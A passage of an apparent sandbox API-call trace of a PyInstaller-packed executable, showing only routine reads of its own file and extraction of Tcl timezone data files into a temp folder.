liDistanceToMove=0x60671d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.874] htonl (hostlong=0x72000000) returned 0x72 [0041.875] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x55cfe0 [0041.875] htonl (hostlong=0x72000000) returned 0x72 [0041.875] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.875] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.875] htonl (hostlong=0x71000000) returned 0x71 [0041.875] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0041.875] htonl (hostlong=0x72000000) returned 0x72 [0041.875] htonl (hostlong=0x71000000) returned 0x71 [0041.875] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.875] CloseHandle (hObject=0x10c) returned 1 [0041.875] GetLastError () returned 0x0 [0041.875] SetLastError (dwErrCode=0x0) [0041.875] GetLastError () returned 0x0 [0041.875] SetLastError (dwErrCode=0x0) [0041.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.875] GetFileType (hFile=0x10c) returned 0x1 [0041.875] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.876] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.876] CloseHandle (hObject=0x10c) returned 1 [0041.876] GetLastError () returned 0x0 [0041.876] SetLastError (dwErrCode=0x0) [0041.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.876] GetFileType (hFile=0x10c) returned 0x1 [0041.876] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.876] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.876] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.876] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.876] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.876] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.876] CloseHandle (hObject=0x10c) returned 1 [0041.876] GetLastError () returned 0x0 [0041.876] SetLastError (dwErrCode=0x0) [0041.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.876] GetFileType (hFile=0x10c) returned 0x1 [0041.876] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.876] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.876] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.876] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.877] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.877] CloseHandle (hObject=0x10c) returned 1 [0041.877] GetLastError () returned 0x0 [0041.877] SetLastError (dwErrCode=0x0) [0041.877] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+2") returned 66 [0041.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+2"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.877] GetLastError () returned 0x2 [0041.877] SetLastError (dwErrCode=0x2) [0041.877] GetLastError () returned 0x2 [0041.877] SetLastError (dwErrCode=0x2) [0041.877] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+2", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+2", lpFilePart=0x0) returned 0x41 [0041.877] GetLastError () returned 0x2 [0041.877] SetLastError (dwErrCode=0x2) [0041.877] GetLastError () returned 0x2 [0041.877] SetLastError (dwErrCode=0x2) [0041.877] GetLastError () returned 0x2 [0041.877] SetLastError (dwErrCode=0x2) [0041.877] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+2") returned 66 [0041.877] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+2"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.878] GetFileType (hFile=0x10c) returned 0x1 [0041.878] htonl (hostlong=0x71000000) returned 0x71 [0041.878] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.878] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0041.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.879] CloseHandle (hObject=0x10c) returned 1 [0041.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.879] htonl (hostlong=0x30000000) returned 0x30 [0041.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.879] GetFileType (hFile=0x10c) returned 0x1 [0041.879] htonl (hostlong=0x8fb75b00) returned 0x5bb78f [0041.879] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60678f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.879] htonl (hostlong=0x74000000) returned 0x74 [0041.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0041.879] htonl (hostlong=0x74000000) returned 0x74 [0041.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.879] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.879] htonl (hostlong=0x72000000) returned 0x72 [0041.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x550600 [0041.879] htonl (hostlong=0x74000000) returned 0x74 [0041.879] htonl (hostlong=0x72000000) returned 0x72 [0041.879] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.879] CloseHandle (hObject=0x10c) returned 1 [0041.879] GetLastError () returned 0x0 [0041.879] SetLastError (dwErrCode=0x0) [0041.880] GetLastError () returned 0x0 [0041.880] SetLastError (dwErrCode=0x0) [0041.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.880] GetFileType (hFile=0x10c) returned 0x1 [0041.880] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.880] CloseHandle (hObject=0x10c) returned 1 [0041.880] GetLastError () returned 0x0 [0041.880] SetLastError (dwErrCode=0x0) [0041.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.880] GetFileType (hFile=0x10c) returned 0x1 [0041.880] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.880] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.880] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.880] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.881] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.881] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.881] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.881] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.881] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.881] CloseHandle (hObject=0x10c) returned 1 [0041.881] GetLastError () returned 0x0 [0041.881] SetLastError (dwErrCode=0x0) [0041.881] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.881] GetFileType (hFile=0x10c) returned 0x1 [0041.881] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.881] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.881] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.881] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.881] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.881] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.881] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.881] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.881] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.881] CloseHandle (hObject=0x10c) returned 1 [0041.881] GetLastError () returned 0x0 [0041.881] SetLastError (dwErrCode=0x0) [0041.881] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+3") returned 66 [0041.881] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+3"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.882] GetLastError () returned 0x2 [0041.882] SetLastError (dwErrCode=0x2) [0041.882] GetLastError () returned 0x2 [0041.882] SetLastError (dwErrCode=0x2) [0041.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+3", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+3", lpFilePart=0x0) returned 0x41 [0041.882] GetLastError () returned 0x2 [0041.882] SetLastError (dwErrCode=0x2) [0041.882] GetLastError () returned 0x2 [0041.882] SetLastError (dwErrCode=0x2) [0041.882] GetLastError () returned 0x2 [0041.882] SetLastError (dwErrCode=0x2) [0041.882] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+3") returned 66 [0041.882] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.882] GetFileType (hFile=0x10c) returned 0x1 [0041.882] htonl (hostlong=0x72000000) returned 0x72 [0041.882] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.882] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x72, lpOverlapped=0x0) returned 1 [0041.971] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.971] CloseHandle (hObject=0x10c) returned 1 [0041.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.972] htonl (hostlong=0x30000000) returned 0x30 [0041.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.972] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.972] GetFileType (hFile=0x10c) returned 0x1 [0041.972] htonl (hostlong=0x3b85b00) returned 0x5bb803 [0041.972] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606803, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.972] htonl (hostlong=0x74000000) returned 0x74 [0041.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0041.972] htonl (hostlong=0x74000000) returned 0x74 [0041.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.972] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.972] htonl (hostlong=0x72000000) returned 0x72 [0041.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72) returned 0x550600 [0041.972] htonl (hostlong=0x74000000) returned 0x74 [0041.972] htonl (hostlong=0x72000000) returned 0x72 [0041.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.972] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.972] CloseHandle (hObject=0x10c) returned 1 [0041.973] GetLastError () returned 0x0 [0041.973] SetLastError 